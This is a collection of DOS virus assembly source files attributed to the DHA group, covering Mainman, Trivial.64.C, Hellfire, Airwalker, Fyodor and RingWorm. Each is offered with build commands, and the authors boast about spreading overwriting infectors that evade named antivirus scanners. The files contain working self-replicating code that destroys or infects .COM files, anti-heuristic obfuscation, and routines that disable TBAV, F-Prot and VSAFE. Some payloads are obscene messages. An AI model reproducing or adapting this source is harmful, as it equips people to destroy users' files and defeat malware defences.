; error: the decryption routine at the beginning of the virus `xor'd' working
; code within the virus with 33h,  making it crash as the encrypted junk code
; got executed. My only two explanations for this is that One) The programmer
; of this virus is on crack. (the most likely explanation :) and Two) Whoever
; wrote this virus depended on some funky  use of the large prefetch queue on
; some 386's and all 486's. Prefetch queue `tricks', however, do not function
; on today's modern processers  (Pentium's, Pentium-Pro's, etc.) and as such,
; should not be used in viruses, as they cause unpredictable results and fuck
; up in general. In any case, however, I don't see how the virus could spread
; effectively at all,  as if either of these conditions are true,  successive
; generations of the virus will not function: the encryption loop only occurs
; once in the virus, so written copies will have the bytes already xor'd.
;
; Well, as bored as I am, I decided to make a _working_ copy of the virus, so
; I set off to work.  The quickest and easiest way,  I decided, was simply to
; change the encryption key from 33h to 00h.  This fixes both bugs, and keeps
; the virus invisible to AVP, DSAV, and F-PROT.  So without further ado, here
; it is (after the fine print, of course):
;
; Assemble with: tasm /m1 mainman.asm
;                tlink /t mainman.obj          (links to a 89d byte COM file)
;
; This program has the potential to permanently  destroy executable images on
; any disk medium.  Other modifications  may have been made subsequent to the
; original release by the author, either benign, or ones that could result in
; further harm should the program be executed. In any case, no responsibility
; whatsoever will be taken for any damages incidential or otherwise resulting
; from the use, or misuse, of this program by the author(s). Neither will any
; responsibility be taken for omissions or errors in the code, comments, etc.
;
; ==========================================================[ code begins ]==

.model tiny
.code

        org     100h

start_virus:
        mov     dx, [bp + offset encrypt_key]   ; dx holds encryption key
        lea     bx, [bp + search_directory]     ; address to start decrypting
        mov     cx, 22h                         ; number of bytes to decrypt

xor_loop:
        xor     [bx], dx                        ; decrypt byte at bx with key
        add     bx, 0002h                       ; process next word
        loop    xor_loop                        ; loop to encryption loop

        mov     cx, 0002h                       ; process two directories

search_directory:
        push    cx                              ; push cx = 0002h onto stack
        mov     ah, 4Eh                         ; ah = 4Eh, find first file

;       jmp     skip_virus_signature            ; jump over virus signature

        db      0E9h                            ; byte fixup for tasm v4.0

        dw      offset skip_virus_signature - $ - 0002h

virus_signature         db      'mainman'

skip_virus_signature:
        mov     cx, 0000h                       ; find all normal files
        mov     dx, offset file_mask            ; ds:[dx] points to '*.com'
        int     21h                             ; do it!

        jc      go_back_one_dir                 ; if no files found, go to
                                                ; parent directory

        mov     ax, 3D02h                       ; open file, read/write mode
        mov     dx, 9Eh                         ; filename in default dta
        int     21h                             ; go! handle returned in ax

        xchg    bx, ax                          ; one byte; move handle to bx

        mov     ah, 40h                         ; ah = 40h, write file

        mov     cx, offset end_virus - offset start_virus

;                   ^----------------- number of bytes to write = end - start

        mov     dx, offset start_virus          ; start at memory offset 100h
        int     21h                             ; write the fat bitch...

        mov     ah, 3Eh                         ; ah = 3Eh, close file
        int     21h                             ; fuckin' do it, man!

go_back_one_dir:
        mov     dx, offset dot_dot              ; ds:[dx] points to '..'
        mov     ah, 3Bh                         ; ah = 3Bh, set current dir
        int     21h                             ; change directory to parent

        pop     cx                              ; pop cx = 0002h off stack
        loop    search_directory                ; loop till cx = 0000h (until
                                                ; two directories have been
                                                ; searched.)

        int     20h                             ; terminate program, bye...

encrypt_key     db      00h                     ; used for decrypting data

;                       ^----------------- value supplied in original program
;                                          was 33h, this does not work, as it
;                                          corrupts existing code.... (if you
;                                          want an exact copy of the original
;                                          sample, change this value to 33h.)

file_mask       db      '*.com', 00h            ; used to find com files

dot_dot         db      '..', 00h               ; '..' = parent directory

end_virus       equ     $

        end     start_virus

; ============================================================[ code ends ]==
; [Trivial.64.C] (c) 1995 Wraith/DHA            Disassembled by Gothmog/[DHA]
;
; Seems I had deleted the source code for this virus, thinking nothing of it,
; until I noticed that F-Protect v2.26 and Dr. Solomon's FindVirus v7.69 have
; started detecting it as a unique virus. Well, friend Wraith, seems you have
; your fifteen minutes (seconds, probably, with this virus) of fame...
;
; In any case, I hauled out Sourcer, disassembled the .com file, and threw in
; a few comments, for posterity's sake. Even the lamest of the lame should be
; able to understand this code, if not, shoot yourself. For those of you that
; are without a `working' assembler (Borland's Turbo Assembler v4.00 or v5.00
; should work fine), a hex dump follows at the conclusion of the source.

.model tiny
.code
		org	100h

virus_start:
                mov     ah, 4Eh                 ; ah = 4Eh, find first file
                mov     dx, offset file_mask    ; points to *.com
                int     21h                     ; do it!

find_file:
                jc      exit_virus              ; exit if no files found

                mov     ax, 3D01h               ; open file for writing
                mov     dx, 09Eh                ; location of filename in psp
                int     21h                     ; do it!

                xchg    bx, ax                  ; put filehandle in bx

                mov     ah, 40h                 ; write file from handle bx
                                                ; number of bytes to write

                mov     cx, virus_end - virus_start

                mov     dx, offset virus_start  ; start writing from cs:100h
                int     21h                     ; write the bitch!

                mov     ah, 3Eh                 ; ah = 3Eh, close file
                int     21h                     ; do it!

                mov     ah, 4Fh                 ; ah = 4Fh, find next file
                int     21h                     ; do it!

                jmp     find_file

exit_virus:
                int     20h                     ; we're outta here...

virus_name      db      '[TRiV]', 00h
virus_author    db      'Wraith/DHA', 00h

file_mask       db      '*.com', 00h

virus_end       equ     $

        end     virus_start

; And finally, the hex dump:
;
; 0100  B4 4E BA 3A 01 CD 21 72 1D B8 01 3D BA 9E 00 CD  .N.:..!r...=....
; 0110  21 93 B4 40 B9 40 00 BA 00 01 CD 21 B4 3E CD 21  !..@.@.....!.>.!
; 0120  B4 4F CD 21 EB E1 CD 20 5B 54 52 69 56 5D 00 57  .O.!... [TRiV].W
; 0130  72 61 69 74 68 2F 44 48 41 00 2A 2E 63 6F 6D 00  raith/DHA.*.com.
;
; ============================================================[ code ends ]==
; ===========================================================================
; Hellfire.1146 Anti-Heuristic Demonstration Virus     Written by Gothmog/DHA
; ===========================================================================
;
; Assumes TASM v4.00 or v5.00 or A86 Macro Assembler v4.02;  other assemblers
; may work, but are not personally tested or quality assured.
;
; Assemble with: tasm /m2 hell1146.asm     (/m1 creates an 1148 byte variant)
;                tlink /t hell1146.obj
;
; Alternately:   a86 hell1146.asm hell1146.com   (makes an 1157 byte variant)

.model tiny
.code

        org     100h

startvirus:
        call    decrypt

start_encrypt:
        mov     ah, 4Eh

findfile:
        mov     cx, 07h
        mov     dx, offset com_mask
        int     21h
        jc      writemessage

        mov     dx, 9Eh
        mov     ax, 3D00h
        int     21h
        xchg    ax, bx

readFile:
        mov     ah, 3Fh
        mov     cx, 01h
        mov     dx, offset bugger
        int     21h

closeFile:
        mov     ah, 3Eh
        int     21h

checkfile:
        mov     ah, 4Fh

        cmp     byte ptr[bugger], 0E8h
        je      findfile

        cmp     word ptr cs:[9Ah], offset endvirus-offset startvirus
        jl      findfile

filegood:
        mov     ax, 2524h
        mov     dx, offset [Int24Handler+bp]
        int     21h

        mov     ax, 4300h
        mov     dx, 9Eh
        int     21h

        push    cx

        mov     ax, 4301h
        xor     cx, cx
        int     21h

        mov     ax, 3D02h
        int     21h
        xchg    ax, bx

infectfile:
        mov     ah, 2Ch
        int     21h
        mov     key, dx

        mov     ah, 40h
        push    ax

        mov     cx, offset endvirus - offset startvirus
        push    cx

        mov     dx, offset startvirus

        jmp     writefile

writefakeerror:
        mov     ax, 4301h
        mov     dx, 9Eh
        pop     cx
        int     21h

        mov     ax, 5701h
        mov     cx, word ptr cs:[096h]
        mov     dx, word ptr cs:[098h]
        int     21h

        mov     ah, 09h
        mov     dx, offset fakeerror
        int     21h

quitvirus:
        int     20h

writemessage:
        mov     ah, 0Fh
        int     10h

        xor     ah, ah
        int     10h

        mov     ah, 01h
        mov     cx, 2607h
        int     10h

        mov     ax, 0B800h
        mov     es, ax
        mov     cx, 815
        mov     si, offset msghellfire
        xor     di, di

uncrunch:
        xor     dx, dx
        xor     ax, ax
        cld

loop_a:
        lodsb
        cmp     al, 32
        jc      foreground
        stosw

next:
        loop    loop_a
        jmp     done

foreground:
        cmp     al, 16
        jnc     background
        and     ah, 0F0h
        or      ah, al
        jmp     next

background:
        cmp     al, 24
        jz      next_line
        jnc     flash_bit_toggle
        sub     al, 16
        add     al, al
        add     al, al
        add     al, al
        add     al, al
        and     ah, 8Fh
        or      ah, al
        jmp     next

next_line:
        add     dx, 160
        mov     di, dx
        jmp     next

flash_bit_toggle:
        cmp     al, 27
        jc      multi_output
        jnz     next
        xor     ah, 128
        jmp     next

multi_output:
        cmp     al, 25
        mov     bx, cx
        lodsb
        mov     cl, al
        mov     al, 32
        jz      start_output
        lodsb
        dec     bx

start_output:
        xor     ch, ch
        inc     cx
        rep     stosw
        mov     cx, bx
        dec     cx
        loopnz  loop_a

done:
        jmp     done

Int24Handler:
        mov     al, 03h
        iret

com_mask        db      '*.com', 0
fakeerror       db      'Bad command or file name', 0Dh, 0Ah, '



msghellfire     db      8,16,26,'O�',24,26,'O�',24,26,'O�',24,26,11,'�',15,20
                db      '�',26,'3Ŀ',8,16,26,13,'�',24,26,11,'�',15,20,'�  ',12
                db      26,6,'/  ',14,'uh oh, you',39,'ve been infected with'
                db      ' a virus ',15,'�',7,16,'��',8,26,11,'�',24,26,11,'�'
                db      15,20,'�  ',12,'//',25,3,'O',25,2,15,27,'�  � ��Ŀ �'
                db      25,3,'�',25,3,'��Ŀ ��� ��Ŀ ��Ŀ  ',27,'�',7,16,'��'
                db      8,26,11,'�',24,26,11,'�',15,20,'� ',12,'//',25,5,'> '
                db      ' ',15,27,'��Ĵ ��',25,2,'�',25,3,'�',25,3,'��',25,3,'�'
                db      '  ���� ��',25,3,27,'�',7,16,'��',8,26,11,'�',24,26,11
                db      '�',15,20,'�  ',12,'/ \__ ~',25,2,15,27,'�  � ���� �'
                db      '��� ���� �',25,3,'��� � �  ����  ',27,'�',7,16,'��',8
                db      26,11,'�',24,26,11,'�',15,20,'�',25,3,12,'||',25,26,26
                db      4,'/',25,13,15,'�',7,16,'��',8,26,11,'�',24,26,11,'�'
                db      15,20,'�  ',12,'(\ \)',25,2,'(~)',25,19,'//  o',25,13
                db      15,'�',7,16,'��',8,26,11,'�',24,26,11,'�',15,20,'�  '
                db      12,'( \ \  / /',25,19,'//',25,3,'>',25,12,15,'�',7,16
                db      '��',8,26,11,'�',24,26,11,'�',15,20,'�  ',12,'(  \ \'
                db      '/ /',25,8,26,11,'_/ \__O',25,13,15,'�',7,16,'��',8,26
                db      11,'�',24,26,11,'�',15,20,'�  ',12,'(',25,2,'\__/',25
                db      8,'/  ___ ',26,5,'_\//',25,16,15,'�',7,16,'��',8,26,11
                db      '�',24,26,11,'�',15,20,'�  ',12,'/',25,2,'| /@',25,7,'('
                db      '  /  / ',26,5,'_)/',25,17,15,'�',7,16,'��',8,26,11,'�'
                db      24,26,11,'�',15,20,'� ',12,'(',25,3,'|//',25,9,'\ \ '
                db      '/ /',25,2,'(_)',25,19,15,'�',7,16,'��',8,26,11,'�',24
                db      26,11,'�',15,20,'�  ',12,'\',25,2,'()',25,11,'\ \O/',25
                db      26,15,'�',7,16,'��',8,26,11,'�',24,26,11,'�',15,20,'�'
                db      25,2,12,'\  |',25,13,') )',25,27,15,'�',7,16,'��',8,26
                db      11,'�',24,26,11,'�',15,20,'�',25,3,12,') )',25,12,'/'
                db      ' /',25,28,15,'�',7,16,'��',8,26,11,'�',24,26,11,'�',15
                db      20,'�',25,2,12,'(  |_',25,10,'/ /_  ',10,'so, do you'
                db      ' like taking it  ',15,'�',7,16,'��',8,26,11,'�',24,26
                db      11,'�',15,20,'�',25,2,12,'(',26,3,'_>',25,8,'(',26,3,'_'
                db      '>',25,7,10,'up the ass?',25,8,15,'�',7,16,'��',8,26,11
                db      '�',24,26,11,'�',15,20,'�',26,'3��',7,16,'��',8,26,11
                db      '�',24,26,13,'�',7,26,'5�',8,26,11,'�',24,26,'O�',24,26
                db      'O�',24,26,'O�',24

end_encrypt     equ     $ - 1

writefile:
        call    encrypt
        pop     cx
        pop     ax
        int     21h
        call    decrypt
        jmp     writefakeerror

encrypt:
decrypt:
        mov     si, offset start_encrypt
        mov     di, si
        mov     cx, (end_encrypt - start_encrypt + 1) / 2

xorLoop:
        lodsw
        jmp     hahahahaha

oioioioioi:
        stosw
        loop    xorLoop
        ret

hahahahaha:
        db      35h

key             dw      0000

        jnc     oioioioioi

endvirus:

bugger          db      ?
f_attr          db      09h dup (?)

        end     startvirus

; ============================================================[ code ends ]==
; The Airwalker.303 Virus                          Written by Gothmog/[DHA97]
;
;         z$$$No.
;       @$**""$$$N.                                                       
;      '       $P""$$            ..
; =========== 4$F  3$$ ======== 4$F =======================================
;             @$F  J$F          $P           z            o$$r
;             $$   $$          @$         u$$           d$$$
;            <$$  $$          4$      u$$$F          :$$$L
;            @$" $$"          $$   .*""""$$           $$^$$
;            $$ $$           d$$Nf       $$          $$$$$r
;           4$N$"           :$$F         9$         @$$*"$$
;           d$$             *$"          9$F       :$$"    $$
;           $$"               $           4$$       4$      '$r
; ========= $F =============== 9$ ========== *$$ ==== '$" ===== "$L ========
;
; Assumes TASM v4.00 or v5.00 or A86 Macro Assembler v4.02;  other assemblers
; may work, but are not personally tested or quality assured.
;
; Assemble with: tasm /m1 airw-303.asm        (one pass should be sufficient)
;                tlink /t airw-303.obj
;
; Alternately:   a86 airw-303.asm airw-303.com   (creates a 300 byte variant)
;
; As of right now, the Airwalker.303 virus is 100% unscannable with:
;
;  � TBAV v7.07 w/ high heuristic sensitivity enabled
;  � F-PROT v2.26 w/ switches /ANALYSE /GURU /PARANOID enabled
;  � Dr. Solomon's FindVirus v7.69 w/ the following command-line switches
;    enabled: /!GURU /SECURE /VID /!IVN /!DOBOOTS /PACK /ANALYSE
;  � Microsoft Anti-Virus (big surprise... no great accomplishment here)
;
;  � More to come... AVPLite v3.0 build 107 updated 03/22/97 coming next...

.model tiny
.286
.code

	org	0100h

start:
        db      0E9h
        dw      offset virus_start - offset dummy_host

dummy_host:          
        mov     ah, 09h
        int     21h
        int     20h

message         db      'WARNING: You have just released the Airwalker.303 virus!', 0Dh, 0Ah, '




virus_start:
                db      0BDh
delta_offset:
                dw      offset virus_start

; ===========================================================================
; F-Protect will flag this virus if the following code is included, but stops
; tracing immediately if a register is called, even if the /analyse /paranoid
; and /guru command-line switches are used.
;
;       call    decrypt
; ===========================================================================

        lea     ax, [bp + decrypt - virus_start]
        call    ax

start_encrypt:

; ===========================================================================
; O  Found code that can be used to overwrite/move a program in memory.
;
;       mov     di, 0100h
;       lea     si, [bp + original - virus_start]
; ===========================================================================

        mov     si, 0100h
        lea     di, [bp + original - virus_start]
        xchg    si, di

        movsw
        movsb

        mov     ah, 1Ah
        lea     dx, [bp + virus_dta - virus_start]
        int     21h

; ===========================================================================
; F  Suspicious file access.  Might be able to infect a file.
;
;       mov     ah, 4Eh
;       lea     dx, [bp + file_mask - virus_start]
;       mov     cx, 32
;       int     21h
; ===========================================================================

        mov     bh, 4Eh
        xchg    ax, bx
        lea     dx, [bp + file_mask - virus_start]
        mov     cx, 32
        int     21h

        jnc     open_again

return_to_host:

; ===========================================================================
; B  Back to entry point.  Contains code to re-start the program after
;    modifications at the entry-point are made.  Very usual for viruses.
;
;       mov     si, 0100h
;       push    si
;       ret
; ===========================================================================

        dec     sp
        mov     si, sp
        mov     word ptr [si], 0100h
        ret

open_again:
        mov     ax, 3D02h
        lea     dx, [bp + name_buffer - virus_start]
	int	21h
        jc      return_to_host

        xchg    bx, ax

        mov     ah, 3Fh
        lea     dx, [bp + original - virus_start]
        mov     cx, 03h
	int	21h

        jc      return_to_host
	push	bx
        mov     bx, dx
        cmp     byte ptr [bx], 0E9h
        pop     bx

        je      find_next_file

        mov     ax, 4202h
        xor     cx, cx
        cwd
        int     21h
        jc      return_to_host

	push	ax

        add     ax, offset start
        mov     word ptr [bp + delta_offset - virus_start], ax

        mov     ah, 2Ch
        int     21h
        xchg    ch, cl
        add     dx, cx
        mov     word ptr[bp + encrypt_key - virus_start], dx

        mov     ah, 40h
        mov     cx, virus_end - virus_start
        lea     dx, [bp + virus_start - virus_start]

        pusha
        jmp     write_virus

out_write_virus:
	pop	ax
        jc      return_to_host

        sub     ax, 03h
        push    bx
        mov     bx, bp
        mov     word ptr cs:[bx + 1], ax
        mov     byte ptr [bx], 0E9h

	pop	bx

        mov     ax, 4200h
        xor     cx, cx
        cwd
	int	21h
        jc      return_to_host

; ===========================================================================
; F  Suspicious file access.  Might be able to infect a file.
;
;        mov     ah, 40h
;        lea     dx, [bp + virus_start - virus_start]
;        mov     cx, 03h
;        int     21h
;        jc      return_to_host
; ===========================================================================

        mov     ax, 03h
        mov     ch, 40h
        lea     dx, [bp + virus_start - virus_start]
        xchg    ax, cx
        int     21h
        jc      return_to_host

        mov     ah, 3Eh
        int     21h

jump_up:
        jmp     return_to_host

find_next_file:
        mov     ah, 3Eh
        int     21h
	
        lea     dx, [bp + file_mask - virus_start]
        mov     ah, 4Fh
	int	21h
        jc      jump_up
        jmp     open_again

original:
        mov     dx, offset message

virus_name      db      '[airwalker]', 00h
virus_author    db      '(c) 1997 gothmog', 00h

; S  Contains a routine to search for executable (.COM or .EXE) files.

file_mask       db      '*.com', 00h                            ; *** S flag

virus_dta       db      30 dup (0)
name_buffer     db      13 dup (0)

end_encrypt     equ     $ - 0001h

encrypt:
decrypt:
        lea     si, [bp + start_encrypt - virus_start]
        mov     di, si
        mov     cx, (end_encrypt - start_encrypt + 1) / 2

xor_loop:
        lodsw
        int     03h
        jnc     false_jump

false_jump_2:
        stosw
        loop    xor_loop
        ret

false_jump:
        db      35h

encrypt_key             dw      0000

        jnc     false_jump_2

write_virus:
        call    encrypt
        popa
        int     21h
        call    decrypt
        jmp     out_write_virus

virus_end:

        end     start

; ============================================================[ code ends ]==
; ===========================================================================
; The Airwalker.385 Virus                          Written by Gothmog/[DHA97]
; ===========================================================================
;
; Assumes TASM v4.00 or v5.00 or A86 Macro Assembler v4.02;  other assemblers
; may work, but are not personally tested or quality assured.
;
; Assemble with: tasm /m2 airw-385.asm     (/m1 generates a 386 byte variant)
;                tlink /t airw-385.obj
;
; Alternately:   a86 airw-385.asm airw-385.com   (creates a 384 byte variant)
;
; Payload: On each run, before returning control to the host program, the key
;          contained at encrypt_key will be compared with a random byte taken
;          from I/O port 40h (system timer). If the low bytes match, the host
;          program will beep once, then continue normally.  If the high bytes
;          match, the virus will display its message from the SLAM virus team
;          and transfer control to the host.
;
; As of right now, the Airwalker.385 virus is 100% unscannable with:
;
;  � TBAV v7.07 w/ high heuristic sensitivity enabled
;  � F-PROT v2.26 w/ switches /ANALYSE /GURU /PARANOID enabled
;  � AVPLite v3.0 build 107 updated 03/22/97 with full heuristics enabled
;  � Dr. Solomon's FindVirus v7.69 w/ the following command-line switches
;    enabled: /!GURU /SECURE /VID /!IVN /!DOBOOTS /PACK /ANALYSE
;  � Microsoft Anti-Virus (big surprise... no great accomplishment here :)

.model tiny
.286
.code

	org	0100h

start:
        db      0E9h
        dw      offset virus_start - offset dummy_host

dummy_host:          
        mov     ah, 09h
        int     21h
        int     20h

message         db      'WARNING: You have just released the Airwalker.385 virus!', 0Dh, 0Ah, '




virus_start:
                db      0BDh
delta_offset:
                dw      offset virus_start

; ===========================================================================
; F-Protect will flag this virus if the following code is included, but stops
; tracing immediately if a register is called, even if the /analyse /paranoid
; and /guru command-line switches are used.
;
;       call    decrypt
; ===========================================================================

        lea     ax, [bp + decrypt - virus_start]
        call    ax

start_encrypt:

; ===========================================================================
; AVP v3.0 build 107 update 03/22/97 will detect the following anti-heuristic
; code segment, but not if you xor a word on the stack:
;
;       xor     word ptr [bp + file_mask + 2 - virus_start], 1717h
;       xor     byte ptr [bp + file_mask + 4 - virus_start], 19h
; ===========================================================================

        push    word ptr [bp + file_mask + 2 - virus_start]
        mov     bx, sp
        xor     word ptr [bx], 1717h
        pop     word ptr [bp + file_mask + 2 - virus_start]
        xor     byte ptr [bp + file_mask + 4 - virus_start], 19h

; ===========================================================================
; O  Found code that can be used to overwrite/move a program in memory.
;
;       mov     di, 0100h
;       lea     si, [bp + original - virus_start]
; ===========================================================================

        mov     si, 0100h
        lea     di, [bp + original - virus_start]
        xchg    si, di

        movsw
        movsb

        mov     ah, 1Ah
        lea     dx, [bp + virus_dta - virus_start]
        int     21h

; ===========================================================================
; F  Suspicious file access.  Might be able to infect a file.
;
;       mov     ah, 4Eh
;       lea     dx, [bp + file_mask - virus_start]
;       mov     cx, 32
;       int     21h
; ===========================================================================

        mov     bh, 4Eh
        xchg    ax, bx
        lea     dx, [bp + file_mask - virus_start]
        mov     cx, 32
        int     21h

        jnc     open_again

return_to_host:

        mov     ax, word ptr [bp + encrypt_key - virus_start]
        xchg    al, bl
        in      al, 40h

        cmp     al, ah
        je      payload_beep

        cmp     al, bl
        jne     back_to_entry

payload_slam_message:
        lea     dx, [bp + slam_string - virus_start]
        jmp     display_string

payload_beep:
        lea     dx, [bp + beep_string - virus_start]

display_string:
        mov     ah, 09h
        int     21h

back_to_entry:

; ===========================================================================
; B  Back to entry point.  Contains code to re-start the program after
;    modifications at the entry-point are made.  Very usual for viruses.
;
;       mov     si, 0100h
;       push    si
;       ret
; ===========================================================================

        dec     sp
        mov     si, sp
        mov     word ptr [si], 0100h
        xor     ax, ax
        xor     bx, bx
        xor     cx, cx
        cwd
        xor     bp, bp
        xor     si, si
        xor     di, di
        ret

open_again:
        mov     ax, 3D02h
        lea     dx, [bp + name_buffer - virus_start]
	int	21h
        jc      return_to_host

        xchg    bx, ax

        mov     ah, 3Fh
        lea     dx, [bp + original - virus_start]
        mov     cx, 03h
	int	21h

        jc      return_to_host
	push	bx
        mov     bx, dx
        cmp     byte ptr [bx], 0E9h
        pop     bx

        je      find_next_file

        mov     ax, 4202h
        xor     cx, cx
        cwd
        int     21h
        jc      return_to_host

	push	ax

        add     ax, offset start
        mov     word ptr [bp + delta_offset - virus_start], ax

        mov     ah, 2Ch
        int     21h
        xchg    ch, cl
        add     dx, cx
        mov     word ptr [bp + encrypt_key - virus_start], dx

        xor     word ptr [bp + file_mask + 2 - virus_start], 1717h
        xor     byte ptr [bp + file_mask + 4 - virus_start], 19h

        mov     ah, 40h
        mov     cx, virus_end - virus_start
        lea     dx, [bp + virus_start - virus_start]

        pusha
        jmp     write_virus

out_write_virus:
	pop	ax
        jc      jump_up

        sub     ax, 03h
        push    bx
        mov     bx, bp
        mov     word ptr cs:[bx + 1], ax
        mov     byte ptr [bx], 0E9h

	pop	bx

        mov     ax, 4200h
        xor     cx, cx
        cwd
	int	21h
        jc      jump_up

; ===========================================================================
; F  Suspicious file access.  Might be able to infect a file.
;
;        mov     ah, 40h
;        lea     dx, [bp + virus_start - virus_start]
;        mov     cx, 03h
;        int     21h
;        jc      return_to_host
; ===========================================================================

        mov     ax, 03h
        mov     ch, 40h
        lea     dx, [bp + virus_start - virus_start]
        xchg    ax, cx
        int     21h
        jc      jump_up

        mov     ah, 3Eh
        int     21h

jump_up:
        jmp     return_to_host

find_next_file:
        mov     ah, 3Eh
        int     21h
	
        lea     dx, [bp + file_mask - virus_start]
        mov     ah, 4Fh
	int	21h
        jc      jump_up
        jmp     open_again

original:
        mov     dx, offset message

virus_name      db      '[airwalker]', 00h
virus_author    db      '(c) 1997 gothmog', 00h

beep_string     db      07h, '



slam_string     db      'greetings to the world from the slam virus team', 0Dh, 0Ah, '




; ===========================================================================
; S  Contains a routine to search for executable (.COM or .EXE) files.
;
; file_mask     db      '*.com', 00h
; ===========================================================================

file_mask       db      '*.txt', 00h

end_encrypt     equ     $ - 0001h

encrypt:
decrypt:
        lea     si, [bp + start_encrypt - virus_start]
        mov     di, si
        mov     cx, (end_encrypt - start_encrypt + 1) / 2

xor_loop:
        lodsw
        int     03h                                           ; debugger trap
        jnc     false_jump

false_jump_2:
        stosw
        loop    xor_loop
        ret

false_jump:
        db      35h

encrypt_key             dw      0000

        jnc     false_jump_2

write_virus:
        call    encrypt
        popa
        int     21h
        call    decrypt
        jmp     out_write_virus

virus_end:

virus_dta       db      30 dup (?)
name_buffer     db      13 dup (?)

        end     start

; ============================================================[ code ends ]==
; The Fyodor Virus                                             by Gothmog/DHA
;
; This virus uses an interesting anti-heuristic technique - infected files
; masquerade as .ZIP format files. To do this, the virus starts with a dummy
; 22-byte ZIP file header, which disassembles to do-nothing instructions
; which fortunately do not crash the processor:
;
; [cs]:0100 50            PUSH    AX
; [cs]:0101 4B            DEC     BX
; [cs]:0102 050600        ADD     AX,0006
; [cs]:0105 0000          ADD     [BX+SI],AL
; [cs]:0107 0000          ADD     [BX+SI],AL
; [cs]:0109 0000          ADD     [BX+SI],AL
; [cs]:010B 0000          ADD     [BX+SI],AL
; [cs]:010D 0000          ADD     [BX+SI],AL
; [cs]:010F 0000          ADD     [BX+SI],AL
; [cs]:0111 0000          ADD     [BX+SI],AL
; [cs]:0113 90            NOP
; [cs]:0114 0000          ADD     [BX+SI],AL
;
; To a ZIP processer, the virus is stored as a ZIP comment, and the actual
; archive contains no files. In any case, this technique renders the virus
; invisible to TBAV, which flags only the `p' flag, for a packed file...
;
; While this virus is nothing more than a featureless overwriter (I was
; testing the idea, so wrote it up _real_ quick...) the technique can easily
; be added to more complex viruses - just cut and paste!
;
; ==========================================================[ code begins ]==

.model tiny
.code

        org     100h

virusStart:

        db      50h, 4Bh, 05h, 06h, 00h, 00h, 00h, 00h, 00h, 00h, 00h
        db      00h, 00h, 00h, 00h, 00h, 00h, 00h, 00h, 90h, 00h, 00h


findFirst:

filemask        db      '*.com', 00h, 00h

        mov     byte ptr virusstart + 1, 'K'
        mov     ah, 4Eh

findFile:
        xor     cx, cx
        mov     dx, offset filemask
        int     21h
        jc      writeMsg

openFile:
        mov     ax, 3D00h
        mov     dx, 9Eh
        int     21h
        xchg    bx, ax

readFile:
        mov     ah,3fh
        mov     cx, 2
        mov     dx, offset buffer
        int     21h

closeFile:
        mov     ah,3eh         
        int     21h

checkInfected:
        cmp     word ptr[buffer], 'KP'
        jnz     OpenFileAgain
        mov     ah,4fh        
        jmp     findFile     

Virus_Name      db      'fyodor'

openFileAgain:
        mov     ax,3d02h
        mov     dx,9eh
        int     21h
        xchg    bx,ax

infectFile:
        mov     ah, 40h
        mov     cx, offset virusEnd - offset virusStart
        mov     dx, offset virusStart
        int     21h

closeFileAgain:
        mov     ah,3eh         
        int     21h

writeMsg:
        mov     dx, offset msgerror
        mov     ah,09h     
        int     21h        

exit:
        int     20h      

msgerror        db      'Bad command or file name', 13, 10, '




virusEnd:

buffer          dw      ?

        end     virusStart

; ============================================================[ code ends ]==
; ==[ The RingWorm.303 Virus ]===============================================
;
; I don't have any time to comment this virus, just let me say that it is
; firmly anti-heuristic, armoured, and has an interesting debugger /
; disassembler trap at the end of the decryption routine, see if you can
; find it... It is overwriting, because, again, I was testing the method,
; and didn't want to be bothered with a feature-full virus; if the method
; worked, which it does, I was to write a cool virus... Unfortunately, I
; haven't the time right now, so I am releasing this code so that you can.
; The two instructions to watch are:
;
;       mov     ax, 0FFEBh
;       jcxz    $ - 2
;
; Trace the jumps through with debug, you don't have to run it, just 'u' the
; jump addresses until you see what it does. See the Airwalker viruses for
; most of the anti-heuristic tricks used in this baby; as for the rest, just
; enjoy...
;
; ==========================================================[ code begins ]==

.model tiny
.286
.code

        org     100h

virus_start:
        mov     ax, offset decrypt
        call    ax

start_encrypt:
        xchg    ax, cx
	mov	es, ax

        mov     word ptr es:[1h*4], offset my_int1
        mov     word ptr es:[1h*4+2], cs

        mov     word ptr es:[3h*4], offset my_int3
        mov     word ptr es:[3h*4+2], cs

        push    cs
        pop     es

        mov     ax, 0CA02h
        xor     bl, bl
        int     2Fh                             ; disable TBAV's TBSCANX

        cli                                     ; clear maskable interrupts

        neg     sp                              ; disable TBAV - this code
        neg     sp                              ; emulates a stack crash

        sti                                     ; set maskable interrupts

        mov     cl, 02h
        call    anti_fprot                      ; disable F-Prot v1.x F-LOCK

        mov     cl, 03h
        call    anti_fprot                      ; disable F-Prot v1.x F-XCHK

        mov     cl, 04h
        call    anti_fprot                      ; disable F-Prot v1.x F-XPOPUP

        mov     cl, 05h
        call    anti_fprot                      ; disable F-Prot v1.x F-DLOCK

        mov     cl, 07h                         ; disable F-Prot v2.x VIRSTOP
        call    anti_fprot                      ; boot sector checking

        mov     ax, 0FA01h                      ; wakes up VSAFE to keyboard
        mov     dx, 5945h                       ; asks VSAFE to de-install
        int     16h                             ; call VSAFE-hooked interrupt

; ===========================================================================
; AVP v3.0 build 107 update 03/22/97 will detect the following anti-heuristic
; code segment, but not if you xor a word on the stack:
;
;       xor     word ptr [file_mask + 2], 1717h
;       xor     byte ptr [file_mask + 4], 19h
; ===========================================================================

        push    word ptr [file_mask + 2]
        mov     bx, sp
        xor     word ptr [bx], 1717h
        pop     word ptr [file_mask + 2]
        xor     byte ptr [file_mask + 4], 19h

        mov     ah, 4Eh                         ; ah = 4Eh, find first file
        xor     cx, cx
        mov     dx, offset file_mask            ; points to `*.com'
        int     21h                             ; do it!

find_file:
        jc      exit_virus                      ; exit if no files found

        mov     ax, 3D02h                       ; open file for read/write
        mov     dx, 09Eh                        ; location of filename in psp
        int     21h                             ; do it!

        xchg    bx, ax                          ; put filehandle in bx

        mov     ah, 3Fh                         ; read file from handle in bx
        mov     cx, 01h                         ; number of bytes to read
        mov     dx, offset heap                 ; read byte to heap
        int     21h                             ; do it!

        cmp     byte ptr [heap], 0B8h           ; compare to `mov ax' opcode
        je      next_file                       ; if infected, find next file

        xor     word ptr [file_mask + 2], 1717h
        xor     byte ptr [file_mask + 4], 19h

        mov     si, offset write_virus
        mov     di, offset heap + 0001h
        mov     cx, offset end_write_virus - offset write_virus
        rep     movsb

        mov     ah, 2Ch                         ; ah = 2Ch, dos get time
        int     21h                             ; do it!
        mov     word ptr[encrypt_key], dx       ; key = dx = seconds:100ths

        mov     ax, 4200h                       ; reset file pointer to top
        xor     cx, cx                          ; mov cx, 0000h in 2 bytes
        cwd                                     ; mov dx, 0000h in 1 byte
